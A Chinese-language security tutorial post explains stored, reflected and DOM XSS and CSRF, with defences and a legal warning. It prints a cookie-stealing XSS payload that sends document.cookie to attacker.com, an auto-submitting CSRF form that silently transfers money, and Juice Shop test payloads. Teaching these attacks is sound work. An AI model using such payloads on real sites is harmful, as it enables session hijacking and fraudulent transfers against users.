💡导读：如果说 SQL 注入是攻击服务器，那么XSS（跨站脚本） 和CSRF（跨站请求伪造） 则是攻击用户。在这个浏览器即操作系统的时代，前端漏洞的危害不容小觑。本期我们将揭秘：为什么你只是点开了一个链接，黑客就能盗走你的 Cookies，甚至用你的账号发帖、转账？
一、 XSS：让你的浏览器替我干活
XSS (Cross-Site Scripting) 的本质是：网站没有过滤用户输入，导致攻击者可以在网页中插入恶意 JavaScript 代码，而其他用户浏览时，代码会自动执行。
1. 三种主要形态
类型 | 存储型 (Stored) | 反射型 (Reflected) | DOM 型 (DOM-based) |
|---|---|---|---|
存储位置 | 服务器数据库 | 不在服务器存储 | 客户端 DOM |
触发方式 | 用户访问含恶意代码的页面 | 用户点击含恶意参数的链接 | 前端 JS 处理逻辑不当 |
危害程度 | ⭐⭐⭐⭐⭐ (蠕虫级) | ⭐⭐⭐ (钓鱼/盗号) | ⭐⭐⭐⭐ (API 劫持) |
例子 | 恶意评论 | 搜索框 | URL |
2. 实战演练：盗取 Cookie（Session Hijacking）
这是 XSS 最经典的利用方式。
场景：某论坛存在存储型 XSS。
Payload（攻击载荷）：
<script> // 1. 创建一个 Image 对象 var img = new Image(); // 2. 将当前页面的 Cookie 发送到攻击者的服务器 img.src = "http://attacker.com/log?" + document.cookie; </script>攻击流程：
攻击者将上述代码发布在论坛帖子或评论中。
受害者浏览该帖子，浏览器执行这段 JS。
受害者的
PHPSESSID=abc123被发送到attacker.com。攻击者拿到
abc123，在 Burp Suite 中替换自己的 Cookie。结果：攻击者无需密码，直接登录受害者的账户。
二、 CSRF：借用你的“身份证”办事
CSRF (Cross-Site Request Forgery) 俗称“点猪”，意思是：利用用户已登录的身份，在用户不知情的情况下，伪造请求执行恶意操作。
1. 核心逻辑：浏览器自带“助攻”
当你登录bank.com后，浏览器会自动保存该域下的 Cookie。
此时，如果你访问了一个恶意网站evil.com，该网站中的代码试图向bank.com发起转账请求，浏览器会自动带上bank.com的 Cookie。
服务器看到 Cookie 是对的，就以为是用户本人操作的。
2. 实战演练：自动转账
场景：某银行转账接口设计简陋。
正常转账请求：
http
POST /transfer HTTP/1.1 Host: bank.com Cookie: session=logged_in_user amount=1000&to=hacker_account攻击者的evil.html：
<body onload="document.forms[0].submit()"> <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="10000"> <input type="hidden" name="to" value="hacker_account"> </form> </body>结果：只要用户登录了网银，且打开了evil.html，就会立刻静默转账 10000 元。
三、 2026 年前沿：绕过现代防御
现在的浏览器和框架都有防护，但黑客总有办法。
1. CSP (Content Security Policy) 绕过
CSP 是为了防止 XSS 执行。但如果配置不当：
script-src 'unsafe-inline'：允许内联脚本，XSS 依然有效。script-src https://cdn.com：如果cdn.com存在任意文件上传，可以引入恶意 JS。
2. 基于 DOM 的 CSRF
现代网站多用 API + Token（如 JWT）。如果 Token 存储在localStorage中，且前端 JS 自动将其添加到 Header 里，传统的 CSRF（靠 Cookie）会失效。
但是：如果网站存在XSS，攻击者可以直接读取localStorage['token']，然后用这个 Token 调用 API，实现“无 Cookie 接管”。
四、 实战：在 Juice Shop 中寻找 XSS
登录 Juice Shop。
找到“评论”功能或“搜索”框。
尝试输入最简单的 Payload：
<script>alert('XSS')</script>。如果弹窗出现，说明存在 XSS。
进阶：尝试使用
<img src=x onerror=alert(document.cookie)>来绕过一些简单的过滤。
五、 防御指南：如何修补？
1. 防 XSS
输入过滤：对
< > " '等特殊字符进行转义（HTML Entity）。CSP 头：设置
Content-Security-Policy: default-src 'self'; script-src 'self'，禁止外链脚本。HttpOnly：给 Cookie 加上
HttpOnly属性，禁止 JavaScript 读取 Cookie（这是防 XSS 盗 Session 的大招）。
2. 防 CSRF
CSRF Token：服务器生成一个随机 Token 埋在表单里，每次请求必须携带，攻击者无法伪造。
SameSite Cookie：设置
Set-Cookie: session=xyz; SameSite=Strict，禁止第三方网站发起请求时携带 Cookie。
⚠️ 安全警示与法律红线
请务必遵守以下准则：
XSS 红线：利用 XSS 漏洞盗取他人 Cookie、挂马、蠕虫传播，属于非法获取计算机信息系统数据罪。
CSRF 红线：制作 CSRF POC（概念验证）测试时，仅限于无危害的 GET 请求（如刷新页面）。严禁构造转账、修改密码、发送邮件等高危 POC 在真实网站上测试。
隐私保护：在截图证明漏洞时，务必遮挡受害者的个人信息（头像、昵称、手机号）。
前端漏洞危害的是人，而非机器。作为安全研究者，请守住人性的底线，不要利用漏洞伤害真实用户。
💬 互动环节
你见过最奇葩的 XSS 过滤机制是什么？（比如把
script换成scr1pt？）你觉得在 SPA（单页应用）中，Token 放在 Cookie 里安全，还是 LocalStorage 里安全？
欢迎在评论区留言讨论！
👉 下一期预告：【漏洞攻防-高危 RCE 篇】命令执行与 Log4j2 —— 为什么打印一条日志就能接管服务器？
